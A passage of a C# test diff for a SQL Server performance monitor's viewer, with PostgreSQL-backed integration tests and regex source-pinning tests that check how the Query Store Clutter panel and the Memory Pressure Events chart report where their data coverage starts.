+    private const int MemoryLateCollectionServerId = -496653;
+
+    // ── Query Store Clutter ──
+
+    /* Added 2 days ago, its first Query Store row came a day later: the range reaches before the oldest row the store holds for it, and
+       that start is later than the log's (its first run, 2 days back), so the note names the table's. The panel still loads its rows. */
+    [Fact]
+    public async Task Clutter_ARangePastTheCoverage_NamesWhereTheCoverageStarts_AndTheRowsStillLoad_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+
+        var coverage = await store.Viewer.GetQueryStoreClutterDataStartAsync(ClutterNewServerId, store.Start, store.End, ct);
+        var result = await store.Viewer.GetQueryStoreClutterAsync(ClutterNewServerId, store.Start, store.End, cancellationToken: ct);
+
+        Assert.Equal(store.End.AddDays(-1), coverage);
+        Assert.NotEmpty(result.Databases);
+        Assert.Equal(QueryGridSeed.Since(store.End.AddDays(-1)), ClutterBanner(store, Task.FromResult(coverage)));
+
+        /* A probe that throws shows no note, and the rows the same read loads are unchanged. */
+        Assert.Null(ClutterBanner(store, Task.FromException<DateTime?>(new InvalidOperationException("the store went away"))));
+        Assert.NotEmpty((await store.Viewer.GetQueryStoreClutterAsync(ClutterNewServerId, store.Start, store.End, cancellationToken: ct)).Databases);
+    }
+
+    /* A quiet start: monitored for 120 days, a row 100 days back proves the store covered the range, and the first row of the range
+       came 5 hours in. And a server that has logged its collector's runs but holds no row at all is covered by the table from its first
+       collection (120 days back) and by the log from its own horizon (60 days back, the purge's), so the later start the probe answers
+       is the log's, still before the range. Neither names a note. */
+    [Fact]
+    public async Task Clutter_AQuietStart_GivesNoNotice_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+
+        var quiet = await store.Viewer.GetQueryStoreClutterDataStartAsync(ClutterQuietServerId, store.Start, store.End, ct);
+        var noRows = await store.Viewer.GetQueryStoreClutterDataStartAsync(ClutterNoRowsServerId, store.Start, store.End, ct);
+
+        Assert.NotNull(quiet);
+        Assert.True(quiet <= store.Start, $"coverage {quiet:O} should reach the range start {store.Start:O}");
+        Assert.Null(ClutterBanner(store, Task.FromResult(quiet)));
+        /* The probe's own clock (read when it ran, after the store was built) less the log's horizon, so the bounds leave room for the seeding. */
+        var logHorizon = store.End.AddDays(-DarlingRetentionHorizons.CollectionLogRetentionDays);
+        Assert.NotNull(noRows);
+        Assert.InRange(noRows.Value, logHorizon, logHorizon.AddMinutes(10));
+        Assert.Null(ClutterBanner(store, Task.FromResult(noRows)));
+        Assert.Empty((await store.Viewer.GetQueryStoreClutterAsync(ClutterNoRowsServerId, store.Start, store.End, cancellationToken: ct)).Databases);
+    }
+
+    /* The panel draws from two ranged sources, the plan churn from query_store_stats and the read cost from the collection log, so the
+       note names the LATER of the two starts and is true of every column. Added 3 days ago, so its runs in the log start there, while
+       its Query Store rows reach 6 days back (a server registered again, its old rows kept): the table alone would name 6 days back, a
+       start the read cost does not reach. The panel still loads its rows. */
+    [Fact]
+    public async Task Clutter_TheLogStartingAfterTheStatsTable_NamesTheLogStart_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+
+        var probe = await FinishedProbeAsync(store, ClutterLogLaterServerId, ct);
+
+        Assert.Equal(store.End.AddDays(-3), await probe);
+        Assert.Equal(QueryGridSeed.Since(store.End.AddDays(-3)), ClutterBanner(store, probe));
+        Assert.NotEmpty((await store.Viewer.GetQueryStoreClutterAsync(ClutterLogLaterServerId, store.Start, store.End, cancellationToken: ct)).Databases);
+    }
+
+    /* When only one of the two comes back, the note names it: a server with Query Store rows from a day ago and no run in the log names the
+       table's start, and a server whose query_store collector has run for 3 days with no row in the table names the log's start. The
+       read cost is the query_store collector's runs and no other collector's (#5022): a server that logged only wait_stats runs has no
+       read cost, so it gets no note above an empty panel. A server with neither (no row and no run in the range) names nothing. */
+    [Fact]
+    public async Task Clutter_OnlyOneProbeAnswering_NamesThatStart_AndAnotherCollectorsRunsNameNothing_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+
+        var statsOnly = await FinishedProbeAsync(store, ClutterStatsOnlyServerId, ct);
+        var runsOnly = await FinishedProbeAsync(store, ClutterRunsOnlyServerId, ct);
+        var otherCollectorOnly = await FinishedProbeAsync(store, ClutterLogOnlyServerId, ct);
+        var neither = await FinishedProbeAsync(store, ClutterNeitherServerId, ct);
+
+        Assert.Equal(store.End.AddDays(-1), await statsOnly);
+        Assert.Equal(QueryGridSeed.Since(store.End.AddDays(-1)), ClutterBanner(store, statsOnly));
+        Assert.Equal(store.End.AddDays(-3), await runsOnly);
+        Assert.Equal(QueryGridSeed.Since(store.End.AddDays(-3)), ClutterBanner(store, runsOnly));
+        Assert.Null(await otherCollectorOnly);
+        Assert.Null(ClutterBanner(store, otherCollectorOnly));
+        Assert.Null(await neither);
+        Assert.Null(ClutterBanner(store, neither));
+    }
+
+    /* The read cost is the query_store collector's runs, so another collector's earlier runs cannot move the note earlier (#5022). Added
+       3 days ago, its log also holds wait_stats runs from 6 days back (a server registered again, its old runs kept), and its Query Store
+       rows reach 6 days back too: the table starts 6 days back and the read cost 3 days back, and the note names the later, the
+       query_store side. Counting every collector's runs, it named 6 days back, a start the read cost does not reach. */
+    [Fact]
+    public async Task Clutter_AnotherCollectorsEarlierRuns_DoNotMoveTheNote_ItNamesTheQueryStoreSide_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+
+        var probe = await FinishedProbeAsync(store, ClutterOtherCollectorEarlierServerId, ct);
+
+        Assert.Equal(store.End.AddDays(-3), await probe);
+        Assert.Equal(QueryGridSeed.Since(store.End.AddDays(-3)), ClutterBanner(store, probe));
+        Assert.NotEmpty((await store.Viewer.GetQueryStoreClutterAsync(ClutterOtherCollectorEarlierServerId, store.Start, store.End, cancellationToken: ct)).Databases);
+    }
+
+    /* Probes that fail against a real store cost the note and never the panel. Renaming the log's table makes the probes fail (the log's
+       own reads it by name, and so does the table's, which counts a server by its logged runs), so the note stays down for a server whose
+       rows begin a day into the range. The panel's read goes through the log's view, which follows the renamed table, so the rows it
+       draws are unchanged. (Which of the two probes failing drops the note is run without a store, in the unit tests.) */
+    [Fact]
+    public async Task Clutter_FailingProbes_ShowNoNote_AndTheRowsStillLoad_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+        await store.RenameCollectionLogAsync(ct);
+
+        var probe = await FinishedProbeAsync(store, ClutterNewServerId, ct);
+
+        Assert.Null(ClutterBanner(store, probe));
+        await Assert.ThrowsAnyAsync<Exception>(() => probe);
+        Assert.NotEmpty((await store.Viewer.GetQueryStoreClutterAsync(ClutterNewServerId, store.Start, store.End, cancellationToken: ct)).Databases);
+    }
+
+    // ── Memory Pressure Events ──
+
+    /* A quiet week: monitored for 20 days, and the only pressure event of the 7-day range came 10 minutes before its end. The store
+       covered the whole range (the purge edge is 30 days back, the first collection 20 days back), so no note. A walk to the table's
+       oldest row would name that event, as if the store began a week into its own coverage. */
+    [Fact]
+    public async Task Memory_AQuietWeekWithOneEventAtItsEnd_GivesNoNotice_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+
+        var (coverage, rows) = await store.ReadMemoryAsync(MemoryQuietWeekServerId, ct);
+
+        Assert.Single(rows);
+        Assert.Equal(store.End.AddMinutes(-10), rows[0].SampleTime);
+        Assert.NotNull(coverage);
+        Assert.Equal(store.End.AddDays(-20), coverage);
+        Assert.Null(MemoryBanner(store, Task.FromResult(coverage), rows));
+    }
+
+    /* Added 2 days ago, its first pressure event came a day later: the range reaches before the coverage, and the note names where it
+       starts. */
+    [Fact]
+    public async Task Memory_ARangePastTheCoverage_NamesWhereTheCoverageStarts_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+
+        var (coverage, rows) = await store.ReadMemoryAsync(MemoryNewServerId, ct);
+
+        Assert.Single(rows);
+        Assert.Equal(store.End.AddDays(-2), coverage);
+        Assert.Equal(QueryGridSeed.Since(store.End.AddDays(-2)), MemoryBanner(store, Task.FromResult(coverage), rows));
+    }
+
+    /* The ring buffer's history comes in with a server's first collection: an event stamped 3 days ago, collected 2 days ago when the
+       server was added, is on the chart. The note names that event's own time. A probe that throws shows no note, and the chart still
+       has its events. */
+    [Fact]
+    public async Task Memory_AnEventStampedBeforeTheFirstCollection_IsTheTimeNamed_AndAFailedProbeKeepsTheChart_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+
+        var (coverage, rows) = await store.ReadMemoryAsync(MemoryHistoryServerId, ct);
+
+        var historic = store.End.AddDays(-3).AddSeconds(7);
+        Assert.Equal(2, rows.Count);
+        Assert.Equal(historic, rows.Min(r => r.SampleTime));
+        Assert.Equal(QueryGridSeed.Since(historic), MemoryBanner(store, Task.FromResult(coverage), rows));
+        /* Even a probe that found no coverage leaves the chart's own earliest event as the time named. */
+        Assert.Equal(QueryGridSeed.Since(historic), MemoryBanner(store, Task.FromResult<DateTime?>(null), rows));
+
+        Assert.Null(MemoryBanner(store, Task.FromException<DateTime?>(new InvalidOperationException("the store went away")), rows));
+        Assert.Equal(2, ViewerServerTab.PressureRowsDrawn(rows).Count);
+    }
+
+    /* The probe pairs sample_time with a collection_time floor, as the chart's read does (#5022), so TimescaleDB can skip the chunks
+       collected before the window. An event collected hours after its stamp answers as it did without the floor: an event stamped an hour
+       before the server was added and collected 3 hours after it is the time named, and the chart draws it. */
+    [Fact]
+    public async Task Memory_AnEventCollectedHoursAfterItsStamp_IsTheTimeNamed_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+
+        var (coverage, rows) = await store.ReadMemoryAsync(MemoryLateCollectionServerId, ct);
+
+        var stamped = store.End.AddDays(-2).AddHours(-1);
+        Assert.Equal(stamped, Assert.Single(rows).SampleTime);
+        Assert.Equal(stamped, coverage);
+        Assert.Equal(QueryGridSeed.Since(stamped), MemoryBanner(store, Task.FromResult(coverage), rows));
+    }
+
+    /* The clutter probe for one server over the default range, run to its end (an answer or a failure). The banner step runs on a thread of its
+       own with no scheduler, so an answer still in flight would resume on a pool thread and touch a control another thread owns. */
+    private static async Task<Task<DateTime?>> FinishedProbeAsync(Store store, int serverId, CancellationToken ct)
+    {
+        var probe = store.Viewer.GetQueryStoreClutterDataStartAsync(serverId, store.Start, store.End, ct);
+        await Task.WhenAny(probe);
+        return probe;
+    }
+
+    private static string? ClutterBanner(Store store, Task<DateTime?> probe) =>
+        QueryGridSeed.ReadBanner(banner => ViewerServerTab.ShowQueryStoreClutterDataStartAsync(banner, probe, store.Start));
+
+    private static string? MemoryBanner(Store store, Task<DateTime?> probe, IReadOnlyCollection<MemoryPressureEventRow> rows) =>
+        QueryGridSeed.ReadBanner(banner => ViewerServerTab.ShowMemoryPressureEventsDataStartAsync(banner, probe, store.Start, rows));
+
+    private sealed class Store : IAsyncDisposable
+    {
+        private readonly ScratchPostgres _scratch;
+
+        private Store(ScratchPostgres scratch, ViewerDataService viewer, DateTime end)
+        {
+            _scratch = scratch;
+            Viewer = viewer;
+            End = end;
+        }
+
+        public ViewerDataService Viewer { get; }
+
+        public DateTime End { get; }
+
+        /// <summary>The range the viewer's default window draws: the 7 days before <see cref="End"/>.</summary>
+        public DateTime Start => End.AddDays(-7);
+
+        /// <summary>The probe's answer and the events the chart's read returned, for the default range.</summary>
+        public async Task<(DateTime? Coverage, List<MemoryPressureEventRow> Rows)> ReadMemoryAsync(int serverId, CancellationToken ct)
+        {
+            var coverage = await Viewer.GetMemoryPressureEventsDataStartAsync(serverId, Start, End, ct);
+            var rows = await Viewer.GetMemoryPressureEventsAsync(serverId, Start, End, ct);
+            return (coverage, rows);
+        }
+
+        /// <summary>Renames the collection log's table, so a probe that reads it by name fails while its view (the clutter read's source) still reads it.</summary>
+        public async Task RenameCollectionLogAsync(CancellationToken ct)
+        {
+            await using var connection = new NpgsqlConnection(_scratch.ConnectionString);
+            await connection.OpenAsync(ct);
+            await using var rename = new NpgsqlCommand("ALTER TABLE collect.collection_log RENAME TO collection_log_renamed", connection);
+            await rename.ExecuteNonQueryAsync(ct);
+        }
+
+        public static async Task<Store> CreateAsync(CancellationToken ct)
+        {
+            var scratch = await QueryGridSeed.OpenScratchAsync(ct);
+            try
+            {
+                var end = QueryGridSeed.NowToTheMinute();
+                var queryStoreCollector = DataWindowFloor.Source.ForCollectorTable("query_store_stats").CollectorName!;
+                await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+                {
+                    await connection.OpenAsync(ct);
+                    await PgMigrations.MigrateAsync(connection, ct);
+
+                    /* #5022: the hypertable path. With TimescaleDB present the raw tables are hypertables partitioned on collection_time,
+                       the shape the memory probe's floor and the log's index have to work on; without it the store is plain PostgreSQL, as
+                       before. No background job reshapes the chunks under the reads. */
+                    if (await LiveTimescaleProbe.TryEnableAsync(scratch.ConnectionString, ct))
+                    {
+                        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+                        await using var stopWorkers = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection);
+                        await stopWorkers.ExecuteNonQueryAsync(ct);
+
+                        /* The class runs on the hypertable path whenever TimescaleDB is there; it cannot quietly fall back to a plain table. */
+                        await using var hypertable = new NpgsqlCommand(
+                            "SELECT count(*) FROM timescaledb_information.hypertables WHERE hypertable_schema = 'collect' AND hypertable_name = 'memory_pressure_events'", connection);
+                        Assert.Equal(1L, await hypertable.ExecuteScalarAsync(ct));
+                    }
+
+                    /* Added 2 days ago: its first Query Store row came a day later. */
+                    await EventGridSeed.AddServerAsync(connection, ClutterNewServerId, "clutter-new", end.AddDays(-2), queryStoreCollector, end, clockOffsetMinutes: null, ct);
+                    await InsertQueryStoreStatsAsync(connection, ClutterNewServerId, "clutter-new", end.AddDays(-1), end, 1, ct);
+
+                    /* Monitored for 120 days: a row 100 days back, then nothing until 5 hours into the range. */
+                    await EventGridSeed.AddServerAsync(connection, ClutterQuietServerId, "clutter-quiet", end.AddDays(-120), queryStoreCollector, end, clockOffsetMinutes: null, ct);
+                    await InsertQueryStoreStatsAsync(connection, ClutterQuietServerId, "clutter-quiet", end.AddDays(-100), end.AddDays(-100), 1, ct);
+                    await InsertQueryStoreStatsAsync(connection, ClutterQuietServerId, "clutter-quiet", end.AddDays(-7).AddHours(5), end, 1, ct);
+
+                    /* Monitored for 120 days, the collector has run, and nothing has been written to the table. */
+                    await EventGridSeed.AddServerAsync(connection, ClutterNoRowsServerId, "clutter-norows", end.AddDays(-120), queryStoreCollector, end, clockOffsetMinutes: null, ct);
+
+                    /* Added 3 days ago, its Query Store rows reaching 6 days back: the table starts before the log's first run. */
+                    await EventGridSeed.AddServerAsync(connection, ClutterLogLaterServerId, "clutter-loglater", end.AddDays(-3), queryStoreCollector, end, clockOffsetMinutes: null, ct);
+                    await InsertQueryStoreStatsAsync(connection, ClutterLogLaterServerId, "clutter-loglater", end.AddDays(-6), end, 6, ct);
+
+                    /* Query Store rows from a day ago and no run in the log at all. */
+                    await EventGridSeed.AddServerAsync(connection, ClutterStatsOnlyServerId, "clutter-statsonly", end.AddDays(-2), queryStoreCollector, end, clockOffsetMinutes: null, ct);
+                    await DeleteLoggedRunsAsync(connection, ClutterStatsOnlyServerId, ct);
+                    await InsertQueryStoreStatsAsync(connection, ClutterStatsOnlyServerId, "clutter-statsonly", end.AddDays(-1), end, 1, ct);
+
+                    /* Added 3 days ago, runs of another collector in the log and nothing from Query Store. */
+                    await EventGridSeed.AddServerAsync(connection, ClutterLogOnlyServerId, "clutter-logonly", end.AddDays(-3), "wait_stats", end, clockOffsetMinutes: null, ct);
+
+                    /* Added 3 days ago, the query_store collector's runs from then on and no row in the table: the read cost alone. */
+                    await EventGridSeed.AddServerAsync(connection, ClutterRunsOnlyServerId, "clutter-runsonly", end.AddDays(-3), queryStoreCollector, end, clockOffsetMinutes: null, ct);
+
+                    /* Added 3 days ago, the query_store collector's runs from then on. Its log also holds wait_stats runs from 6 days back, and its
+                       Query Store rows reach 6 days back too: the table starts before the read cost does. */
+                    await EventGridSeed.AddServerAsync(connection, ClutterOtherCollectorEarlierServerId, "clutter-othercollector", end.AddDays(-3), queryStoreCollector, end, clockOffsetMinutes: null, ct);
+                    await InsertLoggedRunsAsync(connection, ClutterOtherCollectorEarlierServerId, "clutter-othercollector", "wait_stats", end.AddDays(-6), end.AddDays(-3), ct);
+                    await InsertQueryStoreStatsAsync(connection, ClutterOtherCollectorEarlierServerId, "clutter-othercollector", end.AddDays(-6), end, 6, ct);
+
+                    /* Registered 3 days ago, with no run in the log and no row in the table. */
+                    await EventGridSeed.AddServerAsync(connection, ClutterNeitherServerId, "clutter-neither", end.AddDays(-3), queryStoreCollector, end, clockOffsetMinutes: null, ct);
+                    await DeleteLoggedRunsAsync(connection, ClutterNeitherServerId, ct);
+
+                    /* Monitored for 20 days, one pressure event in the range, 10 minutes before its end. */
+                    await EventGridSeed.AddServerAsync(connection, MemoryQuietWeekServerId, "memory-quiet", end.AddDays(-20), "memory_pressure_events", end, clockOffsetMinutes: null, ct);
+                    await InsertEventAsync(connection, MemoryQuietWeekServerId, "memory-quiet", end.AddMinutes(-10), end.AddMinutes(-10), ct);
+
+                    /* Added 2 days ago: its first event came a day later. */
+                    await EventGridSeed.AddServerAsync(connection, MemoryNewServerId, "memory-new", end.AddDays(-2), "memory_pressure_events", end, clockOffsetMinutes: null, ct);
+                    await InsertEventAsync(connection, MemoryNewServerId, "memory-new", end.AddDays(-1), end.AddDays(-1), ct);
+
+                    /* Added 2 days ago: its first collection stored an event from 3 days ago, then one from a day ago. */
+                    await EventGridSeed.AddServerAsync(connection, MemoryHistoryServerId, "memory-history", end.AddDays(-2), "memory_pressure_events", end, clockOffsetMinutes: null, ct);
+                    await InsertEventAsync(connection, MemoryHistoryServerId, "memory-history", end.AddDays(-3).AddSeconds(7), end.AddDays(-2).AddHours(1), ct);
+                    await InsertEventAsync(connection, MemoryHistoryServerId, "memory-history", end.AddDays(-1), end.AddDays(-1), ct);
+
+                    /* Added 2 days ago: its one event was stamped an hour before that and collected 3 hours after it. */
+                    await EventGridSeed.AddServerAsync(connection, MemoryLateCollectionServerId, "memory-late", end.AddDays(-2), "memory_pressure_events", end, clockOffsetMinutes: null, ct);
+                    await InsertEventAsync(connection, MemoryLateCollectionServerId, "memory-late", end.AddDays(-2).AddHours(-1), end.AddDays(-2).AddHours(3), ct);
+                }
+
+                return new Store(scratch, new ViewerDataService(scratch.ConnectionString), end);
+            }
+            catch
+            {
+                await scratch.DisposeAsync();
+                throw;
+            }
+        }
+
+        /* One row per step from firstUtc to lastUtc, in one database, with a few distinct queries and plans so the plan-churn arm has
+           something to count. */
+        private static async Task InsertQueryStoreStatsAsync(
+            NpgsqlConnection connection, int serverId, string serverName, DateTime firstUtc, DateTime lastUtc, int stepHours, CancellationToken ct)
+        {
+            await using var insert = new NpgsqlCommand("""
+                INSERT INTO collect.query_store_stats
+                    (collection_id, collection_time, server_id, server_name, database_name, module_name, query_hash,
+                     query_id, plan_id, execution_type_desc, replica_role,
+                     runtime_stats_interval_id, interval_start_time_utc, first_execution_time,
+                     execution_count, avg_duration_us, avg_cpu_time_us, max_duration_us, max_cpu_time_us)
+                SELECT
+                    row_number() OVER (ORDER BY t) + $6 + (extract(epoch FROM $3::timestamp)::bigint % 1000000),
+                    t, $1, $2, 'ClutterDb', 'dbo.proc', md5(t::text),
+                    100 + (extract(epoch FROM t)::bigint % 5), 1000 + (extract(epoch FROM t)::bigint % 7), 'Regular', 'PRIMARY',
+                    77, t, t,
+                    10, 500, 300, 900, 700
+                FROM generate_series($3::timestamp, $4::timestamp, make_interval(hours => $5)) AS t
+                """, connection);
+            insert.Parameters.AddWithValue(serverId);
+            insert.Parameters.AddWithValue(serverName);
+            insert.Parameters.AddWithValue(QueryGridSeed.Naive(firstUtc));
+            insert.Parameters.AddWithValue(QueryGridSeed.Naive(lastUtc));
+            insert.Parameters.AddWithValue(stepHours);
+            insert.Parameters.AddWithValue(Math.Abs((long)serverId) * 100_000L);
+            await insert.ExecuteNonQueryAsync(ct);
+        }
+
+        /* One more collector's runs for a registered server, every 30 minutes from firstUtc to lastUtc, the shape AddServerAsync writes. The
+           ids sit 50,000 above the ones AddServerAsync gave this server, which stay below 100,000 apart from the next server's. */
+        private static async Task InsertLoggedRunsAsync(
+            NpgsqlConnection connection, int serverId, string serverName, string collector, DateTime firstUtc, DateTime lastUtc, CancellationToken ct)
+        {
+            await using var insert = new NpgsqlCommand("""
+                INSERT INTO collect.collection_log
+                    (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+                SELECT row_number() OVER () + $6, $1, $2, $5, t, 12, 'SUCCESS', 0
+                FROM generate_series($3::timestamp, $4::timestamp, interval '30 minutes') AS t
+                """, connection);
+            insert.Parameters.AddWithValue(serverId);
+            insert.Parameters.AddWithValue(serverName);
+            insert.Parameters.AddWithValue(QueryGridSeed.Naive(firstUtc));
+            insert.Parameters.AddWithValue(QueryGridSeed.Naive(lastUtc));
+            insert.Parameters.AddWithValue(collector);
+            insert.Parameters.AddWithValue(Math.Abs((long)serverId) * 100_000L + 50_000L);
+            await insert.ExecuteNonQueryAsync(ct);
+        }
+
+        /* The registered server's runs AddServerAsync wrote, removed: a server whose collector has logged nothing in the range. */
+        private static async Task DeleteLoggedRunsAsync(NpgsqlConnection connection, int serverId, CancellationToken ct)
+        {
+            await using var delete = new NpgsqlCommand("DELETE FROM collect.collection_log WHERE server_id = $1", connection);
+            delete.Parameters.AddWithValue(serverId);
+            await delete.ExecuteNonQueryAsync(ct);
+        }
+
+        private static async Task InsertEventAsync(
+            NpgsqlConnection connection, int serverId, string serverName, DateTime sampleTimeUtc, DateTime collectionTimeUtc, CancellationToken ct)
+        {
+            await using var insert = new NpgsqlCommand("""
+                INSERT INTO collect.memory_pressure_events
+                    (collection_id, collection_time, server_id, server_name, sample_time, memory_notification, memory_indicators_process, memory_indicators_system)
+                VALUES ($1, $2, $3, $4, $5, 'RESOURCE_MEMPHYSICAL_LOW', 2, 0)
+                """, connection);
+            insert.Parameters.AddWithValue(Math.Abs((long)serverId) * 100_000L + (long)(sampleTimeUtc - new DateTime(2026, 1, 1, 0, 0, 0, DateTimeKind.Utc)).TotalSeconds);
+            insert.Parameters.AddWithValue(QueryGridSeed.Naive(collectionTimeUtc));
+            insert.Parameters.AddWithValue(serverId);
+            insert.Parameters.AddWithValue(serverName);
+            insert.Parameters.AddWithValue(QueryGridSeed.Naive(sampleTimeUtc));
+            await insert.ExecuteNonQueryAsync(ct);
+        }
+
+        public async ValueTask DisposeAsync()
+        {
+            await Viewer.DisposeAsync();
+            await _scratch.DisposeAsync();
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerClutterAndMemoryPressureDataStartPinTests.cs b/Darling/Darling.Tests/ViewerClutterAndMemoryPressureDataStartPinTests.cs
new file mode 100644
index 0000000000..53d05a403e
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerClutterAndMemoryPressureDataStartPinTests.cs
@@ -0,0 +1,255 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// How the Query Store Clutter panel and the Memory Pressure Events chart of the desktop viewer are wired to say where their data
+/// starts (#4966): the probe beside the read, the one window start both take, the banner declared above the surface, and the named
+/// source the Memory Pressure Events probe needs. These read the source files, as the other data-start wiring pins do, because
+/// the tab itself needs a window to run; the banner's behavior is in <c>ViewerClutterAndMemoryPressureDataStartTests</c> and the
+/// store-backed answers are in <c>ViewerClutterAndMemoryPressureDataStartLiveTests</c>.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class ViewerClutterAndMemoryPressureDataStartPinTests
+{
+    private static string ViewerFile(string file) => ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", file);
+
+    private static int Matches(string source, string pattern) => Regex.Matches(source, pattern).Count;
+
+    private static string MethodBody(string source, string signaturePattern)
+    {
+        var match = Regex.Match(source, signaturePattern + @".*?\r?\n    \}\r?\n", RegexOptions.Singleline);
+        Assert.True(match.Success, $"{signaturePattern} was not found");
+        return match.Value;
+    }
+
+    private static string AllTabFiles() =>
+        string.Join("\n", Directory.GetFiles(PathTo("Darling", "PerformanceMonitor.Darling.Viewer"), "ViewerServerTab*.cs").Select(File.ReadAllText));
+
+    // ── Query Store Clutter ──
+
+    /* The panel draws from two ranged sources, the plan churn from query_store_stats and the read cost from the collection log, so the
+       coverage rule applies to each: both are probed through the shared floor from the window's own start, one call each (the shared
+       probe's several-source form answers the EARLIEST start, the opposite of this panel's rule), and the later start is the answer. */
+    [Fact]
+    public void TheClutterProbe_GoesThroughTheSharedFloor_OverBothRangedSources_FromTheWindowsStart_AndKeepsTheLaterStart()
+    {
+        var source = ViewerFile("ViewerDataService.QueryStoreClutter.cs");
+
+        Assert.Equal(1, Matches(source, @"public Task<DateTime\?> GetQueryStoreClutterDataStartAsync\(int serverId, DateTime startUtc, DateTime endUtc,"));
+        var probe = Regex.Match(source, @"public Task<DateTime\?> GetQueryStoreClutterDataStartAsync\(.*?cancellationToken\)\);\r?\n", RegexOptions.Singleline).Value;
+        Assert.NotEmpty(probe);
+        Assert.Contains("LaterStartAsync(", probe, StringComparison.Ordinal);
+        Assert.Contains("DataWindowFloor.Source.ForCollectorTable(\"query_store_stats\")", probe, StringComparison.Ordinal);
+        /* #5022: the read cost is the query_store collector's runs, so its source is the collection log scoped to that one collector,
+           named by the constant the panel's read-cost SQL binds (collector_name = $4), never by a copy of the string. The whole log
+           (ForCollectionLog(), every collector) is the Collection Log grid's source, and counted any collector's run here. */
+        Assert.Contains("DataWindowFloor.Source.ForCollectorRuns(DarlingQueryStoreClutterReader.CollectorName)", probe, StringComparison.Ordinal);
+        Assert.DoesNotContain("ForCollectionLog()", probe, StringComparison.Ordinal);
+        Assert.DoesNotContain("\"query_store\"", probe, StringComparison.Ordinal);
+        Assert.Equal(2, Matches(probe, @"DataWindowFloor\.GetForServerAsync\(_dataSource,[^;]*?serverId,\s*startUtc,\s*endUtc,"));
+        Assert.DoesNotContain("DataWindowFloor.GetAsync(", source, StringComparison.Ordinal);
+
+        /* The choice keeps the later of two starts, and the one that came back when only one did. */
+        var later = MethodBody(source, @"internal static async Task<DateTime\?> LaterStartAsync\(");
+        Assert.Matches(@"churn >= cost \? churn : cost", later);
+        Assert.Contains("?? readCost", later, StringComparison.Ordinal);
+    }
+
+    /* The probe starts beside the read and both take the window's start the caller worked out once; the banner is raised after the
+       grid is bound, through the one step the tests run too. */
+    [Fact]
+    public void TheClutterTab_StartsItsProbeBesideTheRead_WithTheSameStart_AndRaisesTheBannerThroughOneStep()
+    {
+        var load = MethodBody(ViewerFile("ViewerServerTab.QueryStoreClutter.cs"), @"private async Task LoadQueryStoreClutterAsync\(");
+
+        Assert.Equal(1, Matches(load, @"var dataStartTask = _dataService\.GetQueryStoreClutterDataStartAsync\(_server\.ServerId,\s*startUtc,\s*endUtc\);"));
+        Assert.Equal(1, Matches(load, @"var readTask = _dataService\.GetQueryStoreClutterAsync\(\s*_server\.ServerId,\s*startUtc,\s*endUtc,"));
+        Assert.True(
+            load.IndexOf("GetQueryStoreClutterDataStartAsync", StringComparison.Ordinal) < load.IndexOf("var readTask = _dataService.GetQueryStoreClutterAsync", StringComparison.Ordinal),
+            "the probe starts before the read is awaited, so the two run together");
+
+        /* #5022: the read is awaited through the helper that watches the probe when the read throws, so a probe that fails after the
+           read did is logged as a warning and not left unobserved. */
+        Assert.Equal(1, Matches(load, @"await AwaitReadWatchingProbeAsync\(readTask,\s*dataStartTask,\s*""Query Store Clutter""\);"));
+        Assert.True(
+            load.IndexOf("var readTask", StringComparison.Ordinal) < load.IndexOf("await AwaitReadWatchingProbeAsync", StringComparison.Ordinal)
+            && load.IndexOf("await AwaitReadWatchingProbeAsync", StringComparison.Ordinal) < load.IndexOf("await ShowQueryStoreClutterDataStartAsync", StringComparison.Ordinal),
+            "the read is awaited through the helper before the banner step awaits the probe");
+        Assert.Equal(1, Matches(load, @"await ShowQueryStoreClutterDataStartAsync\(QueryStoreClutterTruncationBanner,\s*dataStartTask,\s*startUtc\);"));
+        /* One computation of the window: the method takes it, and never works out a second one. */
+        Assert.DoesNotContain("GetWindowUtc()", load, StringComparison.Ordinal);
+        Assert.DoesNotContain("UpdateTruncationBanner(", load, StringComparison.Ordinal);
+    }
+
+    /* #5022: the panel's reads run beside its probe, and the load declares it. Its own read walks five arms one after another and the
+       probe walks its two calls one after another, so two reads are in flight together. ViewerCommandDeadlines prices every command off
+       the width the context declares, so a load that declares none prices both against a lone read. The shell's LoadInnerTabAsync
+       declares none (and a width it declared would multiply with this one), so the load does: before either read starts, and released
+       when its own read is done, so the banner step's wait on the probe is not priced against a read that has finished. */
+    [Fact]
+    public void TheClutterLoad_DeclaresTwoReadsInFlight_BeforeEitherStarts_AndReleasesWhenItsReadIsDone()
+    {
